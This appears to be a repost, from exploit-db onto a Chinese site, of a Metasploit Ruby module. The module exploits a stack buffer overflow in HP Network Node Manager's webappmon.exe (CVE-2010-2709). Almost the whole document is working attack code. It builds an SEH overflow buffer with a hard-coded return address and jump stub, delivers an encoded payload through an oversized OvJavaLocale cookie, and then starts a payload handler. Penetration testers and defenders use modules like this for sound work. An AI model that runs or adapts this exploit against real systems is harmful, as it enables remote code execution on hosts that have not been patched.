HP Network Node Manager (NMM) – CGI ‘webappmon.exe OvJavaLocale’ Remote Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit
日期： 2011-03-23
类别：
remote
平台：
windows
来源：https://www.exploit-db.com/exploits/17029/
##
# $Id: hp_nnm_webappmon_ovjavalocale.rb 12087 2011-03-23 03:39:12Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'=> "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",
			'Description' => %q{
				This module exploits a stack-based overflow in HP NNM's webappmon.exe.
				The vulnerability occurs when a long string of data is sent as OvJavaLocale's
				cookie value, OvWww.dll fails to properly do any bounds checking before this
				input is parsed in function OvWwwDebug(), which causes an overflow when
				sprintf_new() is called.
			'},
			'License'	=> MSF_LICENSE,
			'Version'	=> "$Revision: 12087 $",
			'Author'=>
				[
					'Nahuel Riva',
					'sinn3r'
				],
			'References' =>
				[
					['CVE', '2010-2709'],
					['OSVDB', '66932'],
					['OSVDB', 'http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow'],
				],
			'Payload'	 =>
				{
					'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' => { "BufferRegister"=>"ECX"}
				},
			'DefaultOptions' =>
				{
					'ExitFunction' => "seh",
					"AutoRunScript" => "migrate -f",
				},
			'Platform' => 'win',
			'Targets'	 =>
				[
					[ 'Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D} ],
				],
			'Privileged'	=> false,
			'DisclosureDate' => "Aug 3 2010"))

			register_options(
				[
					Opt::RPORT(80),
				], self.class)
	end

	def exploit

		nops = make_nops(1000)*10

		sploit= nops[0, 7044]				#Padding
		sploit << "\x74\x20\x42\x42"		#JE jump 0x20 bytes
		sploit << [target.ret].pack('V')	#POP/POP/RET
		sploit << nops[0, 26]				#Padding
		sploit << "\x61"*13					#POPAD x 13
		sploit << "\x51"					#PUSH ECX
		sploit << "\xc3"					#RETN
		sploit << nops[0, 31]				#Padding
		sploit << payload.encoded			#Payload
		sploit << nops[0, 10000-sploit.length]

		connect

		print_status("Sending malicious request...")
		send_request_raw({
			"uri" => "/OvCgi/webappmon.exe",
			"data"=> "ins=nowait&sel=A&appB=&actC=&arg=&help=&cache=1600",
			"version" => "1.1",
			"method"=> "GET",
			"headers" => {
				"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
				"Accept-Language" => "en-us,en;q=0.5",
				"Accept-Encoding" => "gzip,deflate",
				"Accept-Charset" => "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
				"Keep-Alive" => "300",
				"Connection" => "keep-alive",
				"Cookie" => "OvJavaLocale=#{sploit}.Cp1252;OvWebSession=14150:AnyUser%3a",
				"Cache-Control" => "max-age=0"
			}
		}, 2)

		handler
		disconnect

	end
end